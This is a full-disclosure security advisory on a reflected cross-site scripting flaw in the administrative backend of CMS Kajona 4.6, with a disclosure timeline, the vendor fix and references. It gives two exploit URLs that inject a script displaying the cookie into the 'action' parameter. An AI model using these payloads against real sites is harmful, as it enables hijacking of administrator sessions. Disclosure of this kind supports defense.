Advisory: Reflecting XSS vulnerability in CMS Kajona v. 4.6 Advisory ID: SROEADV-2015-01 Author: Steffen Rsemann Affected Software: CMS Kajona v. 4.6 Vendor URL: https://www.kajona.de Vendor Status: solved CVE-ID: - ========================== Vulnerability Description: ========================== The CMS Kajona v. 4.6 is vulnerable to a reflecting XSS vulnerability in its administrative backend. ================== Technical Details: ================== For an attacker it is possible to append arbitrary HTML and/or JavaScript-Code to the parameter "action" in the admin.php. Exploit Examples: http:// {TARGET}/index.php?admin=1&module=right&action=change%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&changemodule=dashboard http:// {TARGET}/index.php?admin=1&module=messaging&action=list%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!-- ========= Solution: ========= Upgrade to the latest version. ==================== Disclosure Timeline: ==================== 01-Jan-2015 ? found the vulnerability 01-Jan-2015 - informed the developers 01-Jan-2015 ? release date of this security advisory [without technical details] 05-Jan-2015 - response and fix by vendor 05-Jan-2015 - release date of this security advisory 05-Jan-2015 - post on FullDisclosure ======== Credits: ======== Vulnerability found and advisory written by Steffen Rsemann. =========== References: =========== [1] http://sroesemann.blogspot.de [2] https://www.kajona.de [3] https://www.kajona.de/de/News/newsdetails.Security-update-to-module-system.newsDetail.22ac42054aa88a07826c.html [4] https://github.com/kajona/kajonacms/commit/563d39c327606232e480602f7b36ea6cb31bc6f7